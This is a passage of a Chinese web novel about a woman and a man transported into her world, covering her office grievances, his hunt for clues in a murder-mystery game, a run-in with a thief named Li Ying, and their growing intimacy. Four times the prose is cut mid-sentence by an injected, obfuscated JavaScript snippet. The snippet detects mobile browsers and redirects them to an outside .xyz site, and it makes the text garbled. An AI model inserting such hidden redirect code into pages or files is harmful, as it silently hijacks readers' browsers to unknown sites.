我不想帮冯总买水果和牛奶,提回去太重了。我在回公司的路上路过一家花店,进去扎了一把康乃馨捧回公司。这花要是冯总不满意,我就带回家自己插上。他想要什么满意的礼品,那就自己再去挑。 我回到工位上坐下,冯总摇着杯子里的钢勺从茶水间出来,问我买的什么礼品。我把花束指给他看,他果然很不满意。杯子“咚”一声掷在桌上,溅出来几滴茶水。 他挠着后脑勺,不明所以地摆了一套动作,有点僵硬的口吻从我头顶上飘过来:“送花……有点不实用吧?” “是有点,冯总想要什么样的现在去买还来得及。”只要我话说得够快,任务就追不上我。 而后我便把键盘敲得啪啪作响,力求盖过他的声音。冯总还是比我想象得冷静一些,没有太过官瘾发作,只是本来说要拉我去见客户的,下午也没有招呼我一声,拖了小秦一起去,我在办公室安心敲了一下午的键盘。 临近下班的时候,他们回来了。小秦的心情十分不错,小声地哼哼着,别的同事问她见的哪个客户,她掩饰不住话外的兴奋如实回答。我大概推测,是她和冯总又提了涨薪的要求,她之前找冯总提了好几次,不巧都被我撞见了,那会儿冯总没同意,这回约摸是给承诺了。 但我不信冯总这个承诺能兑现,冯总掌握着熟练的画饼技巧,我可是上过这样的当的。让小秦高兴两天吧,到了明天发工资或者下个月的工资日,她就心冷了。 冯总从我办公桌前走过的时候,睥睨的眼神里写满了:你看,让你不主动、不积极、不办好领导交代的事情,机会给到别人了吧。 我理他个毛线,对程可这些朋友我才会想要努力维护感情,他一个“何不食肉糜”的大掌柜,只有切实给我点好处,我才会考虑去争取这些个机会。 地铁里程可又给我发消息了:燕燕!你上周末的剧本杀跟谁组的队!那个拼车的玩家和我说他有事没去!你和谁玩的!? 我回忆了一下那天小手是怎么来的——他把车停我跟前,我上了车他也没说上错了。我的问题?他的问题? 我要和程可说天上掉下来一个人和我组队的吗?程可会不会觉得我在天方夜谭? 输入框里打进去的字又全退格了重新打:我没等到人叫了个朋友来顶包了,要不然我管你要剧本呢。 程可:天哪噜我的燕燕,没有等很久吧,你怎么不跟我说呢! 我:还好还好,没有等很久。 程可:那你先帮我谢谢你朋友来救场!等玩到后面我们碰头了我再亲自谢他! 我:你谢谢我。 程可:谢谢燕燕!我给你寄的生日礼物,你收到了吗? 啊呀,我上周五的时候看到了短信,到现在都还没去拿。这个时间点,驿站又该关门了。 算了,明天再去拿吧。换了个坐姿又想,算了,明天也不一定能早回家,让小手去帮忙拿好了。 今天应该也是不用点外卖的,我赌二十块钱小手做好了饭菜汤在家。这种事情只有零次,和无数次。好的,我赌输了,小手居然不在家。我得拿赌输的二十块钱点外卖。 我搜索了好几个有角色姓名为柏青的小说和漫画,等外卖到了边吃边看。 他没有手机确实很不方便,我都不能打电话问他死哪儿去了。 柏青6月24日周二天晴 如果我昨天能拿到钥匙,昨天就开工了。今天我又去了一趟美术馆。那面照片墙上的信息我没有看完。 去了之后把所有的书签挨个看过去,找到另外几张看起来有信息的书签: 我也不想上班了,正好也纸媒没落了,毁灭!——画一。 周末有饭局,为什么我也要去?——赖二。 我来。——皮二。 画画和赖不平、皮老板也有联系。那她还说不认识皮老板。 出门之前我用画画的平板搜索过下一个线索点的距离,估摸着开车过去,我的车油该要顶不住了,所以今天出来我根本没开车。一上午只来得及跑了一遍美术馆。下午也不知道什么时候能回到画画家。 从美术馆坐地铁去下一个地点大概要花一个半小时,从那里回画画家大概要花一个小时。得想个办法,再跟画画借点钱去加油了。 在地铁站里中转的时候,不远处川流不息的人群里传来一阵骚动。我稍微瞥了几眼,大概是人群在追赶什么小偷强盗,在一串串的尖叫声里偶尔夹着一两句:“抓贼啊抓贼啊!” 本来这事跟我没什么关系,但是我要转的地铁线要往骚动的方向走。我往边上靠了靠,在看热闹已经不流动了的人潮里穿梭。 那个被追赶的小偷飞快地从我眼角的余光里闪过去。他手里提着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458193|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把三寸多长的小刀,导致前方的人群没人敢冒险将他制服,甚至怕惹祸上身地给他让出路线,但他跑过的身后又有人忍不住探头追着看,给后面保安巡警的追捕增加了不少的困难。 他穿着一件带帽子的卫衣,这件卫衣有点眼熟,我一时没有想起来在哪里见过,偏头朝这个小偷多看了两眼。 恰好他也扭头朝后看,转脸的电光火石之间,目光竟与我发生交汇。我的瞳孔瞬间就放大了,他的脸上也露出震惊的神色。 他飞奔着把骚动一起带得越来越远。 我不得不停下脚步,平息这个冲击。 李营为什么也穿来了这个世界?为什么偏偏是李营? 我决定中断要去找线索的计划,转身朝人群骚动的方向快步走去。 我跟着巡警追了很久,追出了地铁站。李营一副不要命了样子,在车水马龙的路上横冲直撞,即使这是市中心,过往的车辆车速不是很快,也足够惊心动魄了。追赶的巡警逐渐被甩开。 他在奔跑的中途,竖起胳膊,高高举起的手上比了个“OK”的造型。我扭头就钻回了地铁站里。 然后我在地铁的三号口等了很久,估计有两个小时。我都以为是我意会错了的时候,李营嘴里叼着一根牙签出现了。 他把卫衣脱了系在腰上,穿着里头的老头衫,看见我了也没有表现出惊讶困惑喜悦之类的复杂情绪。“呵”了一声,右手拍在我的肩上:“柏青?” 我推掉他的手,问他:“你穿过来多久了?” 他晃着腿,掰着手指头数:“两天?三天?”那应该就是和我差不多的时间。 他又上下扫视了我两遍,眼睛里展露出些笑意,我知道他的坏水要流出来了。他伸出手在我跟前抖巴抖巴:“嘶,你看起来没挨饿的样子嘛。有没有钱,借我点,吃不上饭了。” 画画给的一百块还剩七十多,我留了零头等会坐地铁,把剩下的七十全给了他。 他连谢我的语气里都带着吊儿郎当,也不是,他根本没谢我:“你行啊,人生地不熟的,没身份都饿不死你。你住哪儿啊,带我一个呗。” 我不想把他带回画画家,第一,这会给画画增添更多的麻烦,第二,李营这人我虽然不熟,但仅有的几次打交道里,他并没有给我留下好印象。 我说:“我住桥洞,你别来抢报纸。” “那我不去了,”他“嘁”出一声,从裤兜里掏出一张写好了的纸条塞给我,上面写着一串手机号码,还印着一圈油滴印,“有钱了打电话借我点,找到回去的办法了也打给我。” 我问他怎么他的手机还能用,他满不在乎地戏谑道:“刚才地铁里偷的。” 他说他把自己用不了的手机拿去卖了换了两天饭钱和住宿费,今天没吃饭饿着肚子太难受,才偷了别人一个手机。 我不大相信他,这纸条上的油印还粘手呢。但我没说不联系他,如果他能比我快一步找到回去的方式,那我也能受益。 13. 柏青-6.24 柏青6月24日周二天晴 李营不是很满意那七十块钱,还想从我这里薅点别的什么,我把两个兜儿都翻出来给他看,除了那几块钱,就只剩一张我出门之前标记路线的纸条。 他确实不是个东西,还想把那几块钱也掳走。我眼疾手快地收回兜里,他扑过来的手抓了一巴掌空气。 没有他能毛的了,他便不愿意花时间在在这里跟我多费口舌,挥手作别之前烦躁地让我千万记得联系他,他说:“在这里呆不下去了,黑户什么也干不了。”然后作别的靠过来抱了抱我的肩,“我知道你也不容易。” 言罢,转身向地铁的人流中走去。 看日头方向,约莫是下午三点开外的时间,我还是决定跑一趟下一个地点,能找到多少线索是多少。 我还要去买地铁票。一摸裤兜,里面空空。他连我的路线笔记都一并顺走了。李营是专业当贼的吗?我方才都没有察觉到不对劲。 在我们原来的世界里,李营这个人我只见过两次。一次在我初中毕业那年的暑假,一次在我穿过来之前,我们一起吃了一顿午饭。 初中毕业的时候,因为升学的压力,这个暑假注定是要被补习班填满的,尽管我觉得补习班对我的作用不是很大,但父母总觉得呆在补习班里上课和我呆在家里自学是存在着信息差的,我仍旧被迫报了个班。 但我的试卷和笔记经常会被我父母拿走复印出一份来给别人。我问他们给谁,他们给我报了一个七拐八拐的关系,跟我家可以说是不沾什么边了。那是我第一次知道李营的名字。大概就是李营家里不愿意给他报补习班,觉得拿别人的笔记去对着学也是一样的效果。 正常按我妈的性格,她应该不会愿意做这种心甘情愿给别人一直占小便宜的事情的,但是她说:“哎呀,他们家情况不太一样。” 我在暑假最后一个星期里的某一天见到了这个李营。李营家在一个老小区里,光是找这个小区,我家的车子就已经不太能开得进去了,只能提着给李营带的苹果牛奶在狭小的巷子里钻。 他家租在一个朝北的一楼车库里,这个小区太老了,看起来就没有物业来管,车库里居然还能通上水,也是很神奇的。李营的父母正在埋头择菜,李营坐在门口光线好一点的桌子边埋着头咬着笔,看似在学习,但以我的经验来看,他在看别的东西。 他妈妈责怪他爸为什么要买这种快要烂掉的菜,看着一大把,择出来之后没剩多少。他爸爸把扔掉的烂菜叶子里又捡出来几片放回篮子里:“这不能吃吗?扔掉干什么?” 我妈妈喊了一声李营妈妈的名字,那个按理说应该是我妈妈同龄人的女人抬起头,她看起来比我妈大了一轮。眼窝深陷,颧骨突出,掌纹皲裂的手在衣服上擦了擦,来招呼我们。 她朝屋里喊:“李营!出来叫人!” 李营便把上面一层的试卷往下拉了拉,从凳子上慢吞吞地站起来,他有一种不好好吃饭的精瘦感,但眼睛里不带一点穷人家小孩子的懦弱卑怯,眼球打着转把我们一家人看了个仔细。 他妈妈让他叫人他叫得又快又甜,小小年纪就油腔滑调的,把我妈妈夸得喜笑颜开。我被支过去指导一下李营的课业,他们大人开始聊天叙旧。 我的手指刚到李营刚刚坐的那张桌子,还没碰着他的试卷,他飞快地把桌上的试卷以及藏在底下的漫画抽离开。他说他不用教,我也是这么觉得的。他的试卷上画满了涂鸦,遮都遮不住。于是我俩大眼瞪小眼地各自趴在桌上想自己的心思,一直捱到大人们把话讲完。 我余光里瞥到我妈给他妈妈塞了一叠钱,以及、李营也正目不转睛地盯着那叠钱。 李营妈妈想留我们吃饭,但他爸爸没吱声,我家里看着他们家这个备菜量,也不像能够六个人吃饱的样子,于是借口说下午还有事,便走了。 我在回去的路上问我妈,跟李营他家怎么认识的。 我妈想了半天,说:“不记得了。” 之后我也基本要忘记这个人、这一家人了。直到二十一号那天上午,有个陌生的电话打过来。 对面自称叫李营,问我记不记得他了。我在脑子里搜罗了半天,把他搜索出来。他倒是不见外,约我中午吃一顿饭,说十年前没留我家吃饭,先单独请我一顿。 我说:“今天中午不太方便,我下午有事情。” 他便说:“哈哈,还是跟以前一样,瞧不上我吧。” 我实在不想和他掰扯,直接跟他说:“你有什么事直接电话里跟我说吧,确实没空吃饭。” 李营:“还是当面说比较好。要不了多久的,少爷你就赏个脸。”他说话的习惯,一如既往地让人不爽。 中午我去找他的时候,他就穿着今天看到的这件卫衣,也没有外套什么的晾在旁边的椅子上,十二月份的天,室外气温最高也就两三度。他还和多年之前一样瘦得像猴,就穿了一件卫衣,真是铁人。 他看见我来了,咧着嘴就把手里的菜单推到我面前。 我没接,只是说:“饭就不吃了,有什么事你说吧。”我还特地看了一眼手机上的时间,示意他说快点,说短点。 李营:“也没什么大事,之前不是跟你们家借了一万块钱嘛,我妈让我来还债。” 没有大事还把我叫出来,再说了这事为什么叫我出来,找我妈去呀,又不是我借的。跟我妈要个卡号,都不用把人叫出来就解决了。我的眉毛不耐烦地拧成一团。 李营喝了一口他面前摆着的咖啡,苦得龇牙咧嘴,把碟子里摆着得两个糖包全拆开来倒进去,搅和了一通又抿了一口,仍旧不是很满意地放下了杯子。 他说:“你们上流人喝的东西还不如我家的刷锅水。” 我:“你还有什么别的事吗?没有我就走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458194|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李营卖了半天的关子,终于憋不住打开了闸:“这不是现在工作不好找嘛,我听说你现在混得不错,想着能不能托你的关系,搞份能吃得起饭的活儿干干,干啥不要紧,能赚到钱就行。” 我:“你听谁说的?” 李营编不出个谁来,老实交代说前天偶然在一本杂志上看到了我的名字和职位。 我心下了然,上个月的时候,教授接受了一个采访,好心把连我在内的几个徒弟都带上了。还在杂志上置顶了一张我们师门的合照。 从进门到现在,我手机都没放下过,就准备着时刻撤退。但李营这套说辞实在搞笑,他什么都愿意干,还能吃不上饭? 我把手机扣在桌子上,和他严肃起来:“第一,我没有什么后门可以开给你;第二,你年轻力壮的,可以干的活儿很多,没必要找我。” 李营不屑地抖起腿,先是嘲讽我,大抵意思就是我高高在上,不近人情,吃上肉了也不肯分一碗汤出来。 但他说着说着又态度一转,蛮不在乎或者是心虚的眼神在桌子上乱扫,扫了一圈桌子才抬起头直视我的眼睛:“我就这么跟你说吧,要不是我犯过事不好找,碰了无数个钉子了我也不会来找你。” “犯过事?”我眯了眯眼,“在里面缝纫机没学好?” “我去你的!不帮算了!真以为我吃不上饭了吗?”李营对我的话抗压性很差,直接拍桌子先走人了。 说好的要还欠的钱,也没见他掏出一张。我走的时候,还被服务员拦下来说他的咖啡钱没付。那张小票就是这么来的。 所以我实在不明白是什么契机能让我和李营发生穿越,我们都算不上有很多交集,我也不相信我们会有什么相同的生活轨迹。如果我的任务是通关剧本杀才能回去,那他的任务是什么?我一穿越进来碰到的就是跟这个剧本杀有关的人和事,所以我默认了这是我的任务,但会不会从一开始就错了? 眼下更关键的问题是,我拿什么买地铁票回画画家?我身上一毛不剩。 坐地铁三十多分钟的路程,换算成步行,也就一个多小时,算上问路,走上两个小时也能回去。只是不能跑一趟线索地了,算是浪费了这一整个下午。 虽然我在自己的世界里偶尔会去健身,但是天气热,加上要频繁地问路,我确实烦躁得很,大概走了一个多小时,汗可能就淌了有两大杯。 我又坐在路边坐着休息了十来分钟,不远处的路边上有个卖唱的小伙子正在唱一首撕心裂肺的歌。唱完这首又换了一首不撕心裂肺的歌,我想去跟他借个话筒让我唱一首,换两块钱让我去坐地铁。 但我拿到了话筒可能两块钱也赚不到,因为我欠缺的艺术细胞不仅欠在绘画上,也欠在演唱上。 也不单单是没有水平,我还没有那个胆识。李营什么都能干,而我却不能,我有一种一文不值的自尊。 14. 梁上燕-6.24 梁上燕6月24日周二天晴 我叫了两分外卖,吃了一份,另一份放凉了小手也还没回来。于是我又趴到床上去看小说,等他回来自己热外卖吃吧。 如今的小说读起来不太叫人提得起精神,远不及我大学时期晚上熄了灯缩在被子里读的时候带劲,越看越困之下,我去把灯关了,蒙进被子里重新点开一本。 看了一会儿也不是很来劲,大概是我过了读小说的年纪了,兴趣缺缺,便只管翻看主角相关的描写,看看哪个能跟小手贴切一些,翻来翻去匹配的人没有找到,倒是憋出了一些尿意。 下床去客厅开灯,遇上小手正拧开门,先我一手开了玄关的灯。 他这一开灯就看到不远处的我站在透过来一点光的客厅中间,吓得不轻,问我怎么不开灯站在这里。 我径直进了卫生间,出来才问他去哪儿了,这么晚回来。 小手倒了一杯水,咕咚咕咚两三口饮尽,像一头干了两天的老黄牛,又倒了一杯,回答道:“听歌去了。” 听什么歌?谁唱歌?上哪听?他的回答就像成心不给个干脆似的,用这种没头没尾的解释。不想说算了,我才懒得追问。他没有一点寄人篱下的妥协和局促,可能就是自信吧,以为我不会赶他走,有本事他再这么跟我说话两次试试,我拿唾沫星子淹死他。 我还要回房间继续看小说,边走边甩给他一句:“多点了一份外卖,随便你吃不吃。” “咚”一声关房门,把我和他隔离到两个空间里。 我仍旧没开灯,乌漆嘛黑里坐在床边上,越想越来气。谁家好人一天受两份气,白天吃上班的苦,晚上回来吃不明不白的冷暴力。 小手还不至于到让我温柔以待的地步。 我又走到门边,憋着一口气猛地拉开门。这死小手就站在我门外离我一个身位的距离,给我也吓得不轻,他还举在半空中的手迅速收了下去。 他支支吾吾半天,问我要不要再吃一点,他想下点面条。 我鼻孔里挤出一个“哼”,说:“不吃。” 他又说:“那你出来陪我聊一会儿吧。” 还给他当家作主上了。 我声明,我不是在听从他的话,才跟他到桌边聊一聊的,是我本来就打算跟他聊一下。 小手把外卖里的菜重新翻炒了一遍,浇在捞出来的面条上当臊子,盛了两碗,把小碗推到我面前。 我再次声明,我不是想吃小手这碗面,才提起筷子的,是他在那边吃,我在这边看着显得太瓜了,这是我家,我得拿回我的场子。 小手说:“我明后天想去把后面三个线索地跑了,你可以帮忙催问一下剩余几组人那边的线索吗?” “这么着急?” “你不是让我快点找回去的办法吗?” “这个剧本杀跟你回家还有关系呢?” “我猜测的。可能是要我通关。” “那我直接去问程可,让她帮忙要其他四个人的剧本来,不就知道谁是凶手了吗?” “耍赖通关算通关吗?” 小手布置的任务太艰难了,又不能作弊,又要催别人快点,还要提前拿他们的线索,找什么合理的理由让这个赶进度显得不那么像索命的甲方? 说我后面几个周末没时间了,但是又很想把这个游戏玩到结束吗?只能先这么试着问一问。 我勉强同意小手会去试着要一下,但不保证一定能拿到。 小手沉默着,吃面的速度也放缓了许多,看着就是在想什么东西。可别再给我布置些什么任务了,我说:“我吃完了,要我洗碗吗?” 他迟缓地摇着头,脑子里还在想事情,我正好开溜。步子才滑出去一半,想起来我坐到桌边的目的了,我还没有好好教育一下小手。 我说:“你还有没有什么别的想跟我聊的?” 他从思绪里抽离出来,先是“嗯?”一下,然后眼睛有一瞬间的微微睁大,脸上憋出薄薄的一层红晕:“有的。” 我又坐下来:“那你说。” 他一句话在嘴里吞吐一遍,又炒了一番,讲出来的时候仍是那么纯粹:“可以再借我一点钱吗?” 我知道他很尴尬,我这么求别人办事的时候也是一样的手足无措,但现在我是被求的那一个。小手跟我借钱,那他就要摆出相应的态度出来,一碗面可打发不了我。 我从包里掏出一百块出来,想不到吧,我中午还去自助取款机上取了现金,然后又把那个老爷机压在上面拿给小手。 再次问他:“你晚上听谁唱歌去了?” 小手没想到我会纠结于这个问题:“不认识,一个街头艺人。” “那你为什么不直说?” 他愣愣的:“有……有必要说吗?” 我说:“有必要!” 小手的头一歪,捏着那个老爷机,举起来晃一晃,嘴上也扯出一个笑来:“那我以后都跟你汇报?” 说得好像我查岗一样,给我整得别扭起来:“你爱说不说。” 小手把碗筷收一收,要去厨房里洗了,让我先去坐一会儿。我这个人身上是有点反骨在的,他去厨房洗碗,我就去厨房倒水,我偏不坐着。 水池里哗啦啦的水流声和我倒水的声音把小手说的话有点淹没了,我没有听清他在说什么。于是我放下水壶,让他复述一遍刚刚的话。 他说:“没什么,问你案台上的花是哪来的。” 我的目光移到那瓶康乃馨上,怎么把它给忘了。我说:“我自己买的。” 小手明显送了一口气,他松什么气,难道他以为自己在插足不成,我是那么没素质的人吗? 我把花瓶捧起来,将它摆到客厅桌上的正中间,有点挡视线了,又把它挪到墙边。我家里很少有活物的,一般都不大能长寿,小手估计是未来活得最久的一个了。 我还在欣赏这束花挑得是多么的有品位,小手从厨房走出来,强制地将我的身躯转过去朝向他。 我怔怔地看着他那一阵红一阵白的脸,好一张不公平的脸,线条柔和,瘦削但不尖锐,清爽兼具成熟,戴着眼镜也不死板,这张脸要是长在我同事的脸上,也许我就没那么排斥上班了,还是算了,不能暴殄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458195|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天物,上班配不上这么好的风景。 小手拿他的两只手把我的两只手托起来,他说:“画画,不是,梁上燕,我有可能会还不起你借给我的钱,现在有两种补偿方案给你,”他飞快地掂了一下我的左手,“这个是肉偿,”又掂了一下我的右手,“这个是和剧本里一样的小手式劳动偿还。” 真是叫人、害臊的选择。我在这种选择上,竟认真思考又左右为难了起来。我是完全行为能力人,选什么右手,哎,选左手那多显得我像个大馋丫头,选右手吧,正好我不爱劳动,这是廉价的保姆送上门。选什么左手,我要选右手! 我把右手抬高。 小手问我:“选定了?” 我重重地点头:“左手那种行为,也算作劳动。” 小手莞尔,被我钻到空子了吧,成年人就是这样的,做什么选择题,全都要就完了。 他笑着笑着把头埋到我的肩颈上去了,鼻息打在我的后颈上,很热很痒。他想报复我的选择,张嘴在我那处后颈上咬了一口,给我咬得浑身为之一颤,差点就倒到他身上去了,幸好我定力足够强大。 我连忙推开小手,说道:“现在不行,你还没有刷牙洗澡。” 于是小手转身向卫生间走去,我在原地徒手扇风。总感觉幸好选的是右手,还能压榨到点别的,单选左手,不能算小手是在还债,那是我也在回馈。 我回厨房把刚刚倒的水喝完,心理温度降下去了许多。躺到床上去心想,我和小手现在的关系该归到哪一类里去。 这已经不是简单的一夜快活能概括的了,这得是夜夜笙歌啊。但我也很难把小手和我放进男女朋友的位置上去,这开始得就不正常,也许结束的时候也不会正常。 我一骨碌坐起来,这不会算犯罪吧,我给小手花钱,小手给我提供需求。我开始在手机上百科相关的知识,力图找到能证明我是良好市民的法律条例。 我还缩在薄被里上下滑动手机,小手的脚步声已经在我身后的床边停了下来。 我把脑袋探出去,虽然没有开灯,但我的眼睛就跟开了夜视功能一样。他没有戴眼镜,连上衣都没有穿,露着一身的腱子肉给我看。此人深谙诱惑之术,我从第一天见到他的时候就知道了。 他俯下上半身,伸手把我的薄被子向下扯开一些,紧接着头就凑过来,我知道他的目标是哪里,主动配合着把下巴抬起来。 这不是我们第一次亲吻了,所以对彼此兴奋的点都有所了解,小手极尽所能地在我嘴上兴风作浪,他捉弄我两三次,我也回应他一个甜枣。 小手逐渐也撑不住这样弯腰的姿势,一条腿压到我的床沿上。 我翻身过去揽住他的脖子,问他道;“你是怎么知道我叫什么的?” 小手轻描淡写:“去农家乐的时候你刷身份证,我不小心看到的。” “你那天又没戴眼镜。” “我戴了隐形,而且我十分注重细节,”他手指划过我的锁骨往下三寸停住,“比如说,我还留意到了这有一颗痣。” 你看看,这是一个近视眼该有的眼神吗? 15. 柏青-6.25 柏青6月25日周三天阴 我明白我这不算为了回去捐躯,总体上来说还是画画更吃亏一些。所以我想,我应该要尽量让她更快乐一些。 先从接送她上下班开始,虽然油钱还是画画出的,但至少她可以不用风吹日晒挤地铁。这么说有点得了便宜还卖乖,但我一无所有,除了给画画提供有限的情绪价值,在还逗留在这里的时候,别的我暂时也没有想到我还能做些什么。 但我情绪价值可能也提供得不太到位,我不擅长这个。 比如早上听到画画的闹钟响了,我想我该叫她起床了,我还做了早饭给她吃。但她起来之后对我并没有摆出什么好脸色,说为什么要叫她起来吃早饭,她可以多睡十分钟的,十分钟之后她的手机里还有一个闹钟。 直到上了车她的毛躁才减轻了一些,但仍然嘴硬地拒绝之后的早饭程序。 送完画画我倒车的时候,遇到了他那个叫冯总的领导,他正好下了车,也不往写字楼那边走,拿手挡着早晨已经升得老高的太阳,意味深长地看着我倒转方向。 他这种没必要的打量任何时候都让人不大舒服。我恨不得倒车得狠一点,把车屁股的尾气喷到他脸上。 第三个线索点在城市中心略靠近外环的一间茶楼里。正值工作日,但楼上楼下坐了不少的退休和养老人员,或在聊天或在下棋。 我向店员说明来意,他十分惊讶,又带着一些不满:“怎么周三也来,不都是周末才来吗?” 他的五指像敲击钢琴键一样在他面前的案上一通乱弹之后,说道:“你等一会儿吧,我不知道你们今天会来,那间茶室里面现在有客人。” 我说:“那我等一会儿吧。” 我又不点什么茶水点心,不好意思找空位子坐下来,只能站在一桌正在对战的棋局后面观看。那名店员也站过来,时不时地问我关于这个游戏的问题,语气里透露出对这个游戏玩家的不理解,同时又暗搓搓地向我表达出他的老板跟游戏官方签订协议的后悔。 周末整整两天牺牲掉一间茶室,等着我们这群不知道什么时候会来的玩家,浪费资源。如果我们都在周六过来还好,他周日还能接客。 我问他:“那游戏官方给的钱跟那间茶室一天能接客多出来的收入哪个多?” 他哈哈一笑,手指抠了抠下巴,不肯直视我,眼神向下垂去:“当然是、接客收入多!” 我大概有十几年没有摸过棋子了,我能清楚地辨别出此时棋盘上这个残局的名字——“七星聚会”,倒不是说我的棋艺有多高,只是这个棋谱过于经典。 棋图中双方各余七子。我所站的这一侧是黑棋棋者,他执有的剩棋子为“将”、“车”、“象”和四个“卒”。 我才看进去没有多久,那个店员便拍了拍我的上臂,努着嘴和我说:“你可以上去了,那间茶室的客人走了。”他的手指着二楼那间挂着“竹之间”三个字门牌的茶室。 我三步并作两步上了楼,推门而入。 茶室内的茶水杯子和糕点盘子还没有收走,桌上散了两副牌。我居然能这么早就进来,感谢他们打牌没有瘾。 墙角边有一个略高于膝盖的茶几,上面垒了厚厚的一摞杂志。我挨个翻看了一遍,确定是线索无误。每本杂志上,都有一个篇目的作者署名是杜小撰。按照日期排序,越早期的越是文采飞扬,中间时间段的显出一些江郎才尽的疲态,到后面已是通篇的堆砌辞藻、言之无物。 对面挨着墙边的位置上还有一张办公桌。桌子摆放得明显有些问题。有抽屉的那一面推到了墙上,椅子放在的外侧。 我正要把桌子拉开来,此时店员推门进来,和我说他来收拾桌上的杯子盘子。 我问他:“这个桌子本来就是这么摆的吗?” 他说:“哦,不是,是它不贴着墙放太占空间,有客人抱怨说嫌不好走路,我才推过去的。” 去他的,我还以为这么放是有什么深意。但他还是好心帮我一起把桌子往外挪了两身的空间出来。 从上往下第一个抽屉里有一封信。大体内容就如同方才那摞杂志里看到的那样,鉴于杜小撰的文字水平不升反降,那本杂志的杂志社收到越来越多的关于他的文章的投诉,甚至还有举报他无脑借鉴抄袭的,杂志社便酌情考虑,决定取消和他的专栏合作。 第二个抽屉里有一叠照片,上面几张全是一些活动现场的照片。里面我能认出的,就是顾主编,另一个常驻人员估摸着就是杜小撰吧。他要么在高尔夫球场上给顾主编背着球具,要么在不知名的室外葬礼现场给顾主编撑伞,要么在茶水间里谦卑地给顾主编点烟。公共场所室内抽烟,顾主编果然该死。 再下面一张照片里,形势有点不忍直视了起来。我倒回去回看上面那张,从这里开始,已经不是正常的拍摄视角了,怎么看都是监控视角。还是那个茶水间,只是画面中多了一个年轻的女孩子,不了解他们杂志社的人员信息,我只能确认这不是画画。顾主编上下交叠的两手间正捂着这个女孩子的手,像握着一只小动物的手,上面那只手明显呈现出一种正在抚摸的姿态。 女孩子出于非自愿的意向,一副想走的样子,被杜小撰捏着肩膀定在原地。我能想象这是什么行为。 我需要向画画确认这个姑娘是不是赖不平,但我基本已经确认了她的身份,除了赖不平也不大可能是皮老板。 我问店员这些线索能不能带走,他“啧”出一声:“当然不行,你以为只有你们这一个团的玩家吗,还有别人要玩呢。”那这么看起来在与这个游戏厂商的合作中,他们捞到的油水也不是很少。 幸好画画给我的手机还具备了拍照功能,不然我还得找地方去复印。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458196|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我继续往下翻。他们真是不拿这个茶水间当公共区域,怎么会又出现一个陌生的女孩子面孔?一样的被职场骚扰,但这也不是画画啊?那哪个是赖不平? 思考的问题可以留到回去和画画探讨,我要先快速收集线索,于是不再纠结于人物的对照关系,又蹲下去抽开第三个抽屉。 真是奇怪,这抽屉里躺着两个并没有套在一起的一次性杯子。没什么特别的,两个杯子一模一样,但是又很容易发现它们的不一样。两只纸杯的杯沿上都印着浅浅的唇印,只是颜色和大小不尽相同,一个使用者应该是深色一些的口红,另一个是浅色的口红。 我鸡皮都皱起来了,这个杜小撰什么怪癖,收集这种东西。从前面的照片来看,这两只杯子要是出现在顾主编的抽屉里我还能理解……等等,这到底是谁的桌子,杜小撰的还是顾主编的?搞不清楚,回去再问问画画。我拿到的小手这个角色真是具有先天的视觉死角,大概是故意在给我回去上难度。 店员把那些杯子盘子全收进他的托盘里,又想起了关键信息,和我说道:“哦对了,抽屉里那把钥匙你可以带走,后面你们要用的道具,我这里还有好多把。” 他真是个话多的NPC,我还没有搜罗到那把钥匙。 我在三个抽屉的上下内壁又摸索了一遍,在第二个抽屉的最里侧摸到贴在第一个抽屉底下的钥匙。我又问那个收拾完了要走的店员:“还有别的线索吗?” 他不屑地说:“你自己找。”然后带上了门。 自己找就自己找,不过就是多花一些时间罢了。但没有别的线索了他为什么不直说没有了,我多花了一个小时在这里上蹿下跳,这不是耽误他自己的生意吗? 我从楼上下来的时候,已是十一点多。那店员看见我下来了,兴致勃勃地朝我说道:“饭点了,正好在这吃个午饭再走呗。” 原来他是这个打算。我朝他身后墙上菜单价格上瞟了一眼,果断说道:“太贵了。” 